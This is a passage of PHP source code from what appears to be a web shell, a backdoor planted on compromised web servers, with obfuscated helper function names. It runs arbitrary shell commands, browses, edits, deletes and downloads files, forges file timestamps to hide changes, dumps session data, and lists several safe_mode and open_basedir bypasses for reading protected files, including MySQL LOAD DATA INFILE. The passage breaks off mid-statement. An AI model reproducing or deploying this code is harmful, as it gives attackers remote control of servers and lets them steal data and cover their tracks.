@ini_alter(\'magic_quotes_runtime\',0); @ini_alter(\'magic_quotes_gpc\',0); @ini_alter(\'open_basedir\',NULL); } if(@function_exists(\'set_time_limit\')){ @set_time_limit(0); } elseif(@function_exists(\'ini_set\')){ @ini_set(\'max_execution_time\',300); } elseif(function_exists(\'ini_alter\')){ @ini_alter(\'max_execution_time\',300); } @session_start(); @ob_start(); define("start",z10e()); if(@get_magic_quotes_gpc()){ if(@isset($_FILES)&&@count($_FILES)>0){ z3u($_FILES); } z4f($_POST); } if(@isset($_SESSION[\'tmps\'])){ $tmps=$_SESSION[\'tmps\']; } else { $tmps=z6j(); $_SESSION[\'tmps\']=$tmps; } $tempdir=$tmps[0]; foreach($_POST as $postk=>$postv){ if(@substr($postk,0,6)=="backf_"){ $postk=@substr($postk,6); $postv=@urldecode($postv); } if($postk==\'merged\'){ $ar_merged=parse_str(base64_decode($postv)); if(@count($ar_merged)>0){ foreach($ar_merged as $kkey=>$kval){ if(!@isset(${$kkey})){ ${$kkey}=@urldecode($kval); } } } } else { if(!@isset(${$postk})){ ${$postk}=$postv; } } } foreach($_GET as $k=>$v){ if(!@isset(${$k})){ ${$k}=@urldecode($v); } } if(!@isset($act)) $act=z7z(\'2\',\'default_act\'); if($act=="logout") z4w(); z4g(); $win=$nix=$linux=0; $os=z9p(); if(@preg_match("/^win/i", $os)){ $win=1; } else { $nix=1; if(@preg_match("/linux/i",$os)) $linux=1; } $sh_exec=$safe_exec=0; $test_cmd=z9e("echo z_testexec"); if(@strpos($test_cmd,"exec")===6){ $sh_exec=1; } elseif ($nix && @preg_match(\'/successfully executed/\', $test_cmd)){ $safe_exec=1; } $cuser=z5j(); $saddr=(@isset($_SERVER[\'SERVER_ADDR\'])?$_SERVER[\'SERVER_ADDR\']:(@isset($_SERVER[\'SERVER_NAME\'])?$_SERVER[\'SERVER_NAME\']:\'127.0.0.1\')); $yaddr=$_SERVER["REMOTE_ADDR"]; $bsafe=((!z7e(\'ini_get\')||z8d(\'safe_mode\')||!$sh_exec) ? 1 : 0); $bopendir=(@count(z9a(@ini_get(\'open_basedir\')))>0 ? 1 : 0); $a_sql=array(); $bmysql=z7e("mysql_connect"); if($bmysql) $a_sql[]="MySQL"; $bmssql=z7e("mssql_connect"); if($bmssql) $a_sql[]="MsSQL"; $boracle=z7e("ocilogon"); if($boracle) $a_sql[]="Oracle"; $bpostgres=z7e("pg_connect"); if($bpostgres) $a_sql[]="PostgreSQL"; $bpasswd=0; if($nix){ if(z1y("/etc/passwd")) $bpasswd=1; } $bcurl=(@extension_loaded(\'curl\')&&z7e("curl_init")); $bfsock=z7e("fsockopen"); $bftp=(z7e("ftp_connect")&&z7e("ftp_login")); $bmail=z7e("mail"); $bziparchive=(z7e("class_exists")&&@class_exists("ZipArchive")); $dtotal=$dused=$dfree=\'0B\'; if($act=="d"){ if(@isset($dt)){ $dt=@trim($dt); if(!@empty($dt)){ switch($dt){ case \'new\': if(!z4j($d)){ @mkdir($d); } $act="ls"; break; case \'chdir\': if(@isset($tt)&&z4j($tt)){ $d=$tt; } $act="ls"; break; case \'rename\': if(@isset($tt)&&z4j($tt)){ if(@isset($drename)&&$drename&&@isset($newname)&&!@empty($newname)){ if(z3a($newname)==\'./\'){ $newname=z3a($tt).z2l($newname); } elseif(!z4r(z3a($newname))){ $newname=z3a($tt).$newname; } if(z4r($newname)&&z4j($newname)){ $newname=z1k($newname).z2l($tt); } $rendirmsg= z3q((@rename($tt,$newname)?z9y("474",$newname):z9y("475",$tt)),\'0\'); } else { $showrename1=1; } } $act="ls"; break; case \'delete\': if(z4r($tt)){ z8s($tt); } $act="ls"; break; case \'functions\': if(@isset($tt)&&z4j($tt)){ $d=$tt; } $act="dfunc"; break; case \'bcopy\': if(@isset($tt)&&z4j($tt)){ $abuf=$dt; } $act="ls"; break; case \'bcut\': if(@isset($tt)&&z4j($tt)){ $abuf=$dt; } $act="ls"; break; case \'bpastecopy\': $abuf=$dt; if(@isset($tt)&&z4j($tt)){ $d=$tt; } $act="ls"; break; case \'bpastecut\': $abuf=$dt; if(@isset($tt)&&z4j($tt)){ $d=$tt; } $act="ls"; break; case \'bpasteall\': $abuf=$dt; if(@isset($tt)&&z4j($tt)){ $d=$tt; } $act="ls"; break; default: break; } } } } if(!@isset($d)||@empty($d)){ $d=@realpath(@dirname(__FILE__)); z9n(); }elseif(@realpath($d)){ $d=@realpath($d); z9n(); }elseif(@isset($dold)&&@realpath(z1k($dold).$d)){ $d=@realpath(z1k($dold).$d); } if(@empty($d)) $d=@getcwd(); $d=z1k($d); @chdir($d); if(z7e(\'disk_free_space\')&&z7e(\'disk_total_space\')){ $free=@disk_free_space($d); $total=@disk_total_space($d); if($free===false) $free=0; if($total===false) $total=0; if($free<0) $free=0; if($total<0) $total=0; $dfree=@str_replace(" ","",z7x($free)); $dtotal=@str_replace(" ","",z7x($total)); $dused=@str_replace(" ","",z7x(($total-$free))); } $a_buf=array(\'bcopy\',\'bcut\'); $b_buf=array(\'bpastecopy\',\'bpastecut\',\'bpasteall\'); if(!@isset($use_buffer)){ if(@isset($_SESSION[\'use_buffer\'])){ $use_buffer=$_SESSION[\'use_buffer\']; } else { $use_buffer=z7z(\'4\'); } } else { $use_buffer = (bool)(int)$use_buffer; if(!$use_buffer) z0d(); } $_SESSION[\'use_buffer\'] = $use_buffer; if($nix&&$sh_exec){ if(!@isset($cmd_tar)){ if(@isset($_SESSION[\'cmd_tar\'])){ $cmd_tar=$_SESSION[\'cmd_tar\']; } else { $cmd_tar=z8t("tar"); } } $_SESSION[\'cmd_tar\']=$cmd_tar; if(!@isset($cmd_unrar)){ if(@isset($_SESSION[\'cmd_unrar\'])){ $cmd_unrar=$_SESSION[\'cmd_unrar\']; } else { $cmd_unrar=z8t("unrar"); } } $_SESSION[\'cmd_unrar\']=$cmd_unrar; if(!@isset($cmd_unzip)){ if(@isset($_SESSION[\'cmd_unzip\'])){ $cmd_unzip=$_SESSION[\'cmd_unzip\']; } else { $cmd_unzip=z8t("unzip"); } } $_SESSION[\'cmd_unzip\']=$cmd_unzip; if(!@isset($cmd_gunzip)){ if(@isset($_SESSION[\'cmd_gunzip\'])){ $cmd_gunzip=$_SESSION[\'cmd_gunzip\']; } else { $cmd_gunzip=z8t("gunzip"); } } $_SESSION[\'cmd_gunzip\']=$cmd_gunzip; if(!@isset($cmd_bunzip2)){ if(@isset($_SESSION[\'cmd_bunzip2\'])){ $cmd_bunzip2=$_SESSION[\'cmd_bunzip2\']; } else { $cmd_bunzip2=z8t("bunzip2"); } } $_SESSION[\'cmd_bunzip2\']=$cmd_bunzip2; if(!@isset($reg_archives)){ if(@isset($_SESSION[\'reg_archives\'])){ $reg_archives=$_SESSION[\'reg_archives\']; } else { $reg_archives=\'\'; if(!@empty($cmd_unrar)) $reg_archives .= "rar|"; if(!@empty($cmd_unzip)) $reg_archives .= "zip|"; if(!@empty($cmd_tar)&&!@empty($cmd_gunzip)) $reg_archives .= "tar.gz|tgz|"; if(!@empty($cmd_tar)&&!@empty($cmd_bunzip2)) $reg_archives .= "tar.bz2|"; if(!@empty($cmd_tar)) $reg_archives .= "tar|"; if(!@empty($cmd_gunzip)) $reg_archives .= "gz|"; if(!@empty($cmd_bunzip2)) $reg_archives .= "bz2|"; if(!@empty($reg_archives)) $reg_archives=@substr($reg_archives,0,(@strlen($reg_archives)-1)); } } $_SESSION[\'reg_archives\']=$reg_archives; } if($bziparchive){ if(!@isset($reg_archives)){ if(@isset($_SESSION[\'reg_archives\'])){ $reg_archives=$_SESSION[\'reg_archives\']; if(@empty($reg_archives)){ $reg_archives="zip"; } else { $r_e=@explode("|",$reg_archives); if(!@in_array("zip",$r_e)) $reg_archives .= "|zip"; } } else { $reg_archives=\'zip\'; } } $_SESSION[\'reg_archives\']=$reg_archives; } if(!@isset($color_skin)){ if(@isset($_SESSION[\'color_skin\'])){ $color_skin=$_SESSION[\'color_skin\']; } else { $color_skin=z7z(\'5\',\'default_skin\'); } } $_SESSION[\'color_skin\'] = $color_skin; if(!@isset($use_images)){ if(@isset($_SESSION[\'use_images\'])){ $use_images=$_SESSION[\'use_images\']; } else { $use_images=z7z(\'5\',\'images\'); } } else { $use_images= (bool)(int)$use_images; } $_SESSION[\'use_images\'] = $use_images; if($use_buffer){ if($act=="f"&&@in_array($ft,$a_buf)){ $act=\'ls\'; $abuf=$ft; $f=$d.$f; } if(@isset($emptybuf) && $emptybuf) z0d(); z1d(); if(@isset($abuf) && @in_array($abuf,$a_buf)){ if(@isset($tt)) z1o($tt,$abuf); if(@isset($f)) z1o($f,$abuf); } elseif(@isset($abuf) && @in_array($abuf,$b_buf)){ switch($abuf){ case \'bpastecopy\': if(@isset($bcopy)&&@is_array($bcopy)&&@count($bcopy)>0){ foreach($bcopy as $tcf){ if(z4r($tcf)) z8r($tcf, (z4j($tcf)? z1k($d).z2l($tcf): z1k($d))); } } break; case \'bpastecut\': if(@isset($bcut)&&@is_array($bcut)&&@count($bcut)>0){ foreach($bcut as $tcf){ if(z4r($tcf)) z8p($tcf, z1k($d).(z4j($tcf)?z2l($tcf):\'\')); z1o($tcf,"bcut"); } } break; case \'bpasteall\': if(@isset($bcopy)&&@is_array($bcopy)&&@count($bcopy)>0){ foreach($bcopy as $tcf){ if(z4r($tcf)) z8r($tcf, z1k($d).(z4j($tcf)?z2l($tcf):\'\')); } } if(@isset($bcut)&&@is_array($bcut)&&@count($bcut)>0){ foreach($bcut as $tcf){ if(z4r($tcf)) z8p($tcf, z1k($d).(z4j($tcf)?z2l($tcf):\'\')); z1o($tcf,"bcut"); } } break; default: break; } } z0j(); if(@isset($showbuf) && $showbuf){ $ls_a=@array_merge($bcopy,$bcut); } } z3z(); z3c(); z0p(); if($act=="f"&&@isset($ft)&&($ft=="extract"||$ft=="extractzip")){ $ff=\'\'; if(z4r($d.$f)){ $ff=$d.$f; } elseif(z4r($f)) { $d=z3a($f); $f=z2l($f); $ff=$d.$f; } if(@isset($reg_archives)&&$reg_archives!=\'\'&&@isset($ff)){ if(@preg_match(\'/\.(\'.$reg_archives.\')$/i\',$f,$m)){ if(@isset($m[1])){ if($ft=="extract"&&$sh_exec){ switch(@strtolower($m[1])){ case \'rar\': z9e("unrar x $ff"); break; case \'zip\': z9e("unzip $ff"); break; case \'tar.bz2\': z9e("tar jxf $ff"); break; case \'tar.gz\': z9e("tar zxf $ff"); break; case \'tgz\': z9e("tar zxf $ff"); break; case \'tar\': z9e("tar xf $ff"); break; case \'gz\': z9e("gunzip $ff"); break; case \'bz2\': z9e("bunzip2 $ff"); break; default: break; } } elseif($ft=="extractzip"){ echo z3q((z0m($ff,$d) ? z9y("476",$f):z9y("477",$f)),\'0\'); } } } } $act="ls"; } if(@isset($rendirmsg)&&!@empty($rendirmsg)) echo $rendirmsg; if(@isset($showrename1)&&$showrename1){ echo z3q(z5x(array("act"=>"d","d","dt"=>"rename","tt","drename"=>"1"),z10w(z7u(z6l(z7n(z9y("473",z2l($tt))).z5y("newname",$tt,"9").z8b(z9y("73"),"7"))),"2")),\'0\'); } if($act=="f"&&@isset($ft)&&$ft=="rename"&&@isset($f)&&!@empty($f)){ if(@isset($frename)&&$frename&&@isset($newname)&&!@empty($newname)){ if(z3a($newname)==\'./\'){ $newname=z3a($ff).z2l($newname); } elseif(!z4r(z3a($newname))){ $newname=z3a($ff).$newname; } if(z4r($newname)&&z4j($newname)){ $newname=z1k($newname).z2l($ff); } echo z3q((@rename($ff,$newname)?z9y("474",$newname):z9y("475",$ff)),\'0\'); } else { if(!isset($ff)){ if(z4r($d.$f)){ $ff=$d.$f; } elseif(z4r($f)){ $ff=$f; } } echo z3q(z5x(array("act"=>"f","f","d","ft"=>"rename","ff","frename"=>"1"),z10w(z7u(z6l(z7n(z9y("473",z2l($ff))).z5y("newname",$ff,"9").z8b(z9y("73"),"7"))),"2")),\'0\'); } $act="ls"; } elseif($act=="f"&&@isset($ft)&&$ft=="delete"&&@isset($f)&&!@empty($f)){ $ff=\'\'; if(z4r($d.$f)){ $ff=$d.$f; } elseif(z4r($f)){ $ff=$f; } if(z4r($ff)) z8s($ff); $act="ls"; } if(($act=="dfunc"||$act=="f")&&((@isset($st1)&&$st1)||@isset($st2)&&$st2)){ if($act=="dfunc"){ $touch=$d; } else { $touch=$f; } if(@isset($st2)&&$st2&&!@empty($touch)&&z4r($touch)&&@isset($tmonth)&&!@empty($tmonth)&&@isset($tday)&&!@empty($tday)&&@isset($tyear)&&!@empty($tyear)&&@isset($thour)&&!@empty($thour)&&@isset($tmin)&&!@empty($tmin)&&@isset($tsec)&&!@empty($tsec)){ $sdate=$tday." ".$tmonth." ".$tyear." ".$thour." hours ".$tmin." minutes ".$tsec." seconds"; $tdate=@strtotime($sdate); if(@touch($touch,$tdate,$tdate)){ $tmsg=z9y("113",@date("M-d-Y H:i:s",$tdate)); }else{ $tmsg=z9y("114"); } } if(@isset($st1)&&$st1&&z4r($touch)&&@isset($copy_from)&&!@empty($copy_from)&&z4r($copy_from)){ if(@touch($touch,@filemtime($copy_from),@filemtime($copy_from))){ $tmsg=z9y("113",@date("M-d-Y H:i:s",@filemtime($copy_from))); }else{ $tmsg=z9y("114"); } } } if(@isset($chmod_submit)&&$chmod_submit&&@isset($ctarget)){ if(@isset($chmod_val)){ @chmod($ctarget,@octdec($chmod_val)); } else { $octet="0".@base_convert(($chmod_o["r"]?"1":"0").($chmod_o["w"]?"1":"0").($chmod_o["x"]?"1":"0").($chmod_g["r"]?"1":"0").($chmod_g["w"]?"1":"0").($chmod_g["x"]?"1":"0").($chmod_w["r"]?"1":"0").($chmod_w["w"]?"1":"0").($chmod_w["x"]?"1":"0"),2,8); @chmod($ctarget,@octdec($octet)); } if(z7e(\'clearstatcache\')) @clearstatcache(); } z8n(); if($act=="dfunc"){ z2n(); z0c($d,0,1); if(z7e(\'touch\')){ z3i(); echo z3q(z9y("124").z9x().z4y($d)); echo z10w( z5b(). (@isset($tmsg)&&!@empty($tmsg)?z7u(z5t(z9x()).z9c($tmsg)):\'\'). z7u(z5x(array("act","d","st1"=>"1"),z5t(z9y("104")).z9c(z5y("copy_from","","9").z8b(z9y("112"),"7")))). z7u(z5x(array("act","d","st2"=>"1"),z5t(z9y("105")).z9c(z3m("tmonth",$tmonth_arr,"4",1)."-".z3m("tday",$tday_arr,"4",1)."-".z3m("tyear",$tyear_arr,"4",1).z9x(12).z3m("thour",$thour_arr,"1",1).":".z3m("tmin",$tmin_arr,"1",1).":".z3m("tsec",$tsec_arr,"1",1).z8b(z9y("112"),"7") ))). z5b() ,"2"); } } if($act=="f"&&@isset($ft)){ $ft=@trim($ft); if(@empty($ft)) $act="ls"; } if($act=="f"){ if(!@isset($f)) $f=\'\'; if(!@isset($ft)) $ft=\'\'; if(@isset($readfile)){ $d=z3a($readfile); $f=z2l($readfile); } elseif(@isset($writefile)){ $d=z3a($writefile); $f=z2l($writefile); } $fmsg=\'\'; if(!z4e($d.$f)&&z4e($f)){ $d=z3a($f); $f=z2l($f); } elseif(z1k($f)==z1k($d)){ $f=\'\'; $fmsg=z9y("472"); } elseif(z3a($f)==z1k($d)){ $f=z2l($f); } z2n(); if((!z4j($d.$f)&&z1y($d.$f))||(!z4r($d.$f)&&z0n($d)&&@isset($ft)&&$ft=="new")){ $ext=@strtolower(z2l($f,\'.\')); $rft=z4x($f); if(@preg_match("/sess_(.*)/",$f)){ $rft="sess"; } if(!@isset($ft)||@empty($ft)){ $ft=$rft; } if($ft=="new"){ z9t($d.$f,""); $ft="edit"; } if($ft=="rcown"){ $rcmsg=" ".(z2w($d.$f)?z5p(z9y("290")):z8k(z9y("291"))); $ft="code"; } if(@empty($ft)) $ft=\'functions\'; echo z3q(z9y("78").z9x().($use_images?\'<img src="?act=i&img=\'.$ext.\'"> \':\'\').z4y($d.$f." (".z7x(@filesize($d.$f)).")").(@isset($rcmsg)?$rcmsg:\'\')); z2q(); if(($ft!=\'functions\'||($ft==\'functions\'&&@isset($submit_encode)))&&$ft!=\'ini\') $r=z9o($d.$f); switch($ft){ case \'functions\': echo z3q(z9y("90")); echo z6s(); $encode_functions=z1e(); echo z9m(\'2\').z9k().z9v("d").z9v("act","f").z9v("f").z9v("ft","functions").z9v("submit_encode","1"). z7u(z5t(z9y("91")).z9c(z3m("encode_selected",$encode_functions,"0",1,\'9\').z8b(z9y("92"),\'7\'))).z9l(); $encoder_output=""; if(@isset($submit_encode)&&$submit_encode){ $encoder_output=$encode_selected($r); echo z9d(z5t(z9y("102")).z9c(z5w(\'\',\'1\').@htmlspecialchars($encoder_output).z5q())); } echo z10q(); echo z6s(); z0c($d.$f); if(z7e(\'touch\')){ z3i(); echo z3q(z9y("103")); echo z10w( z5b(). (@isset($tmsg)&&!@empty($tmsg)?z7u(z5t(z9x()).z9c($tmsg)):\'\'). z7u(z5x(array("act","d","f","ft"=>"functions","st1"=>"1"),z5t(z9y("104")).z9c(z5y("copy_from","","9").z8b(z9y("112"),"7")))). z7u(z5x(array("act","d","f","ft"=>"functions","st2"=>"1"),z5t(z9y("105")).z9c(z3m("tmonth",$tmonth_arr,"4",1)."-".z3m("tday",$tday_arr,"4",1)."-".z3m("tyear",$tyear_arr,"4",1).z9x(12).z3m("thour",$thour_arr,"1",1).":".z3m("tmin",$tmin_arr,"1",1).":".z3m("tsec",$tsec_arr,"1",1).z8b(z9y("112"),"7") ))). z5b() ,"2"); } break; case \'edit\': $msg=""; if(@isset($save)&&$save){ $msg=(z9t($d.$f,$txtedit) ? z9y("243"):z9y("450")); $r=z9o($d.$f); } echo z5x(array("act"=>"f","d","f","ft"=>"edit","save"=>"1"),z10w(z9d(z6l(z5w(\'txtedit\',\'2\').@htmlspecialchars($r).z5q().z9z().z5z("left","3").z7n(z9y("115")).\'<input type="text" id="replace_a" class="\'.z4m(\'5\',\'4\').\'">\'.z9x(5).z7n(z9y("116")).\'<input type="text" id="replace_b" class="\'.z4m(\'5\',\'4\').\'">\'.z8m(z9y("117"),\'fnc_replace(\'txtedit\',\'replace_a\',\'replace_b\');\',"7").\'<input type="reset" value="\'.z9y("118").\'" class="\'.z4m(\'7\',\'5\').\'">\'.z8b(z9y("119"),"7").z9x().z7n($msg).z5h())),"2")); echo z6s(); break; case \'text\': echo z10w(z9d(z6l(\'<pre>\'.@htmlspecialchars($r).\'</pre>\')),\'2\'); break; case \'web\': $url=z8u(); $url_a=@parse_url($url); if(@isset($url_a["host"])){ $host=$url_a["host"]; if(($wwwdir=z3n())!==false){ if(@strstr($d.$f,$wwwdir)!==false){ $link="http://".$host."/".@substr($d.$f, @strlen($wwwdir)); echo z10w(z9d(z6l(\'<iframe border="0" class="iframe" src="\'.$link.\'">\'.z9y("471").\'</iframe>\')).z5b(),\'2\'); } } } break; case \'html\': if(@isset($white)&&$white){ @ob_clean(); echo $r; @exit(); } else { echo z10w(z9d(z6l(\'<iframe border="0" class="iframe" src="?act=f&f=\'.@urlencode($f).\'&d=\'.@urlencode($d).\'&white=1&ft=html">\'.z9y("471").\'</iframe>\')).z5b(),\'2\'); } break; case \'htmls\': if(@isset($white)&&$white){ $r=@preg_replace(\'#(on(?<!\.on)[a-z]{2,20})\s*=\s*([\\'"])?((?(2)(?(?<=")[^"]{1,1000}|[^\\']{1,1000})|[^\s"\\'>]{1,1000}))(?(2)\2|)#i\',\'\',$r); $r=@preg_replace(\'#(<script[^>]*>.*?</script>|<[/]*noscript>|<meta\s(.*?)>)#is\',\'\',$r); $r=@preg_replace(\'#(href(?<!\.))\s*=\s*([\\'"])?javascript:#i\',\'href=\2#javascript:\',$r); @ob_clean(); echo $r; @exit(); } else { echo z10w(z9d(z6l(\'<iframe border="0" class="iframe" src="?act=f&f=\'.@urlencode($f).\'&d=\'.@urlencode($d).\'&white=1&ft=htmls">\'.z9y("471").\'</iframe>\')).z5b(),\'2\'); } break; case \'code\': echo z7w(\'\',\'2\').z7o().z6q(); z1p($r,$ext); echo z7f().z7y().z10q(); break; case \'exe\': if(!@isset($ecmd)){ $ext=z2l($f,\'.\'); $ecmd=$d.$f; foreach($execaliases as $ek=>$ev){ if(@in_array(@strtolower($ext),$ev)){ $ecmd=@str_replace("%f%",$ecmd,$ek); break; } } } echo z5x(array("act"=>"f","ft"=>"exe","d","f","exec"=>"1"),z10w( z5b(). z7u(z6l(z7n(z9y("120")).z5y(\'ecmd\',\'\',"9").z8b(z9y("99"),"7"))). z5b() ,"2")); if(@isset($exec)&&$exec&&!@empty($ecmd)){ echo z9m("2").z6f().z6q().z5w(\'\',"1"); $res=z9e($ecmd); echo $res; echo z5q().z7f().z7y().z5b().z10q(); } break; case \'sess\': echo z7w(\'\',\'2\').z7o().z6q().\'<pre>\'; $e=@explode(\'|\',$r); echo $e[0].z9z(); @var_dump(@unserialize($e[1])); echo \'</pre>\'; echo \'</pre>\'.z7f().z7y().z10q(); break; case \'ini\': echo z7w(\'\',\'2\').z7o().z6q().\'<pre>\'; @var_dump(@parse_ini_file($d.$f,true)); echo \'</pre>\'.z7f().z7y().z10q(); break; case \'sdb\': echo z7w(\'\',\'2\').z7o().z6q().\'<pre>\'; @var_dump(@unserialize(base64_decode($r))); echo \'</pre>\'.z7f().z7y().z10q(); break; case \'img\': if(!@isset($is)) $is=50; $inf=@getimagesize($d.$f); if(@isset($inf[0]) && @isset($inf[1]) && @isset($inf[\'mime\'])){ $w=$inf[0]/100*$is; $h=$inf[1]/100*$is; $mime=$inf["mime"]; } else { $w=$h=$t=\'\'; if(@preg_match(\'/(jpg|jpeg|gif|png)/i\', $r, $m)) $t = ($m[1] === \'jpeg\') ? \'jpg\' : $m[1]; $mime=\'image/\'.@strtolower($t); } if(!@isset($white)||!$white){ echo z5z("center").z9z(); if($w!=\'\'){ foreach(array(\'20\',\'50\',\'100\',\'150\',\'200\') as $v) echo z5x(array(\'act\'=>\'f\',\'d\',\'f\',\'ft\'=>\'img\',\'is\'=>$v),z8b($v.\'%\',($is==$v?\'17\':\'16\'))); } echo z9z(2).\'<img alt="" src="?act=f&f=\'.@urlencode($f).\'&ft=img&white=1&d=\'.@urlencode($d).\'"\'.($w!=\'\'?\' width="\'.$w.\'"\':\'\').($h!=\'\'?\' height="\'.$h.\'"\':\'\').\' border="0" style="border: 1px solid #DDDDDD;">\'.z5h().z9z(2); }else{ @ob_clean(); @header("Content-type: ".$mime); echo $r; exit(); } break; case \'hex\': if(!@isset($hexdump_type)) $hexdump_type=\'\'; if($hexdump_type=="full"){ $str=$r; }else{ $str=@substr($r,0,16*24); } $n=0; $a0=$a1=$a2=\'\'; $ofs=0; $len=@strlen($str); for($i=0;$i<$len;$i++){ $a1.=@sprintf(\'%02X\',@ord($str[$i])).z9x(); if(@ord($str[$i])==0){ $a2.=z5p("0"); } elseif(@ord($str[$i])>=0x20 && @ord($str[$i])<=0x7E){ $a2.= @htmlspecialchars($str[$i]); } else { $a2 .= "."; } $n++; if($n==24||($i+1==$len&&!@is_int($len/24))){ $n=0; $a0.=@sprintf(\'%08X\',$ofs).z9z(); $a1.=z9z(); $a2.=z9z(); $ofs+=24; } } echo z10w(z9d(z6l(z10w(z7u(z9c($a0,\'16\').z9c($a1,\'17\').z9c($a2,\'18\')),\'8\').z10w(z9d(z6z(z5x(array(\'act\'=>\'f\',\'d\',\'f\',\'ft\',\'hexdump_type\'=>($hexdump_type==\'full\'?\'preview\':\'full\')),z8b(($hexdump_type==\'full\'?z9y("122"):z9y("121")),\'7\')))),\'8\'))),\'2\'); break; case \'download\': @ob_clean(); @header("Content-type: application/octet-stream"); @header("Content-disposition: attachment; filename=\"".$f."\";"); echo $r; exit(); break; default: break; } } else { if(!@isset($loadb)) $loadb=0; $rbut=z5x($back_form_actions,z8b(z9y("470"),"7")); if(@empty($f)){ echo z3q(z9y("469").$fmsg.z9x(5).$rbut); } else { switch($ft){ case \'new\': if(!z4r($d.$f)&&z4j($d)&&!z0n($d)){ $loadb=1; } elseif(!z4r($d.$f)){ $loadb=1; } elseif(z4r($d.$f)&&z4j($d.$f)){ echo z3q(z9y("468",$d.$f).z9x(5).$rbut); } elseif(z4r($f)&&z4j($f)){ echo z3q(z9y("468",$f).z9x(5).$rbut); } break; default: if(z4r($d.$f)&&z4j($d.$f)){ echo z3q(z9y("468",$d.$f).z9x(5).$rbut); } elseif(z4r($f)&&z4j($f)){ echo z3q(z9y("468",$f).z9x(5).$rbut); } elseif(!z4r($d.$f)&&z4j($d) && z0n($d) && @strpos($f,"/")===false){ echo z3q(z10w(z7u(z9c(z7n(z9y("466",$d.$f)).z5x(array("act"=>"f","d","f","ft"=>"new"),z8b(z9y("195"),"7")).$rbut)),"2")); } else { $loadb=1; } break; } } if($loadb){ z0c($d.$f); $rf_arr=$sqlrf_arr=$wf_arr=array(); $rf_arr["include"]="include (safe_mode)"; if($bcurl&&@version_compare(@phpversion(),"5.2.0")<=0) $rf_arr["curl"]="curl (open_basedir / PHP <= 4.4.2, 5.1.4)"; if(!$win&&z7e(\'mb_send_mail\')&&@version_compare(@phpversion(),"5.2.0")<=0) $rf_arr["mb_send_mail"]="mb_send_mail (safe_mode / PHP <= 4.0-4.2.2, 5.x)"; if(z7e(\'imap_open\')&&z7e(\'imap_body\')&&@version_compare(@phpversion(),"5.2.0")<=0) $rf_arr["imap_body"]="imap_body (safe_mode on PHP <= 5.1.2)"; if(z7e(\'ini_restore\')&&@version_compare(@phpversion(),"5.2.0")<=0) $rf_arr["ini_restore"]="ini_restore (safe_mode / PHP <= 4.4.4, 5.1.6) by NST"; if(z7e(\'copy\')&&@version_compare(@phpversion(),"5.2.0")<=0) $rf_arr["zlib"]="copy[compress.zlib://] (safe_mode / PHP <= 4.4.2, 5.1.2)"; if($bmysql) $sqlrf_arr["mysql"]="mysql (safe_mode)"; if($bmssql) $sqlrf_arr["mssql"]="mssql (safe_mode)"; if(z7e(\'error_log\')&&@version_compare(@phpversion(),"5.2.2")<=0) $wf_arr["error_log"]="error_log[php://] (open_basedir / PHP <= 5.1.4, 4.4.2)"; if(z7e(\'readfile\')&&@version_compare(@phpversion(),"5.2.2")<=0) $wf_arr["readfile"]="readfile[php://] (open_basedir / PHP <= 5.2.1, 4.4.4)"; if(@version_compare(@phpversion(),"5.2.4")<=0) $wf_arr["fopen"]="fopen[srpath://] (open_basedir / PHP v5.2.0)"; if(@count($rf_arr)>0){ echo z3q(z9y("128")); echo z6s(); echo z5x(array("act"=>"f","d","f"=>(@isset($readfile)?$readfile:$d.$f),"ft"=>"functions","submit1"=>"1"),z10w(z7u(z5t(z9y("129")).z9c(z6u("readfile",(@isset($readfile)?$readfile:$d.$f),"0","","9").z3m("readfile_func",$rf_arr,"5",1).z8b(z9y("130"),"7"))),"2")); if(@isset($submit1)&&$submit1&&@isset($readfile)&&!@empty($readfile)){ echo z9m("2").z7o().z5t(z9x()).z7j(); switch($readfile_func){ case \'include\': echo z5w(\'\',\'1\'); @include ($readfile); echo z5q(); break; case \'curl\': echo z5w(\'\',\'1\'); $ci=@curl_init("file://".$readfile); $cf=@curl_exec($ci); echo @htmlspecialchars($cf); echo z5q(); break; case \'mb_send_mail\': echo z5w(\'\',\'1\'); $temp=tempnam($d,"fname"); if(@file_exists($temp)) @unlink($temp); $extra="-C ".$readfile." -X $temp"; @mb_send_mail(NULL,NULL,NULL,NULL,$extra); $str=z9o($temp); echo @htmlspecialchars($str); echo z5q(); @unlink($temp); break; case \'imap_body\': echo z5w(\'\',\'1\'); $stream=@imap_open($readfile,"",""); $str=@imap_body($stream,1); echo @htmlspecialchars($str); @imap_close($stream); echo z5q(); break; case \'ini_restore\': @ini_restore("safe_mode"); @ini_restore("open_basedir"); $str=z9o($readfile); echo z5w(\'\',\'1\').@htmlspecialchars($str).z5q(); break; case \'zlib\': $str=z9u($readfile); echo z5w(\'\',\'1\').@htmlspecialchars($str).z5q(); break; } echo z7f().z7y().z10q(); } echo z6s(); } if(@count($sqlrf_arr)>0){ echo z3q(z9y("131")); echo z6s(); echo z5x(array("act"=>"f","d","f"=>(@isset($readfile)?$readfile:$d.$f),"ft"=>"functions","submit2"=>"1"),z10w(z7u(z5t(z9y("129")).z9c(z6u("readfile",(@isset($readfile)?$readfile:$d.$f),"0","","9").z3m("sqlreadfile_func",$sqlrf_arr,"5",1).z8b(z9y("130"),"7"))). z7u(z5t(z9y("132")).z9c(z5y("sqluser","root","4","","9").z9x(2).z7n(z9y("133")).z5y("sqlpass","","4").z9x(2).z7n(z9y("134")).z5y("sqlport","3306","1").z9x(2).z7n(z9y("135")).z5y("sqldb","mysql","4"))),"2")); if(@isset($submit2)&&$submit2&&@isset($readfile)&&!@empty($readfile)&&@isset($sqluser)&&@isset($sqlpass)&&@isset($sqlport)&&@isset($sqldb)){ echo z9m("2").z7o().z5t(z9x()).z7j(); switch($sqlreadfile_func){ case \'mysql\': echo z5w(\'\',\'1\'); if(@empty($sqlport)) $sqlport="3306"; $db=@mysql_connect(\'localhost:\'.$sqlport,$sqluser,$sqlpass); if($db){ if(@mysql_select_db($sqldb,$db)){ @mysql_query("DROP TABLE IF EXISTS temp_mysql_readfile_table"); @mysql_query("CREATE TABLE `temp_mysql_readfile_table` ( `file` LONGBLOB NOT NULL )"); @mysql_query("LOAD DATA INFILE \"".$readfile."\" INTO TABLE temp_mysql_readfile_table"); $r=@mysql_query("SELECT * FROM temp_mysql_readfile_table"); while(($r_sql=@mysql_fetch_array($r))!==false){ echo @htmlspecialchars($r_sql[0])."
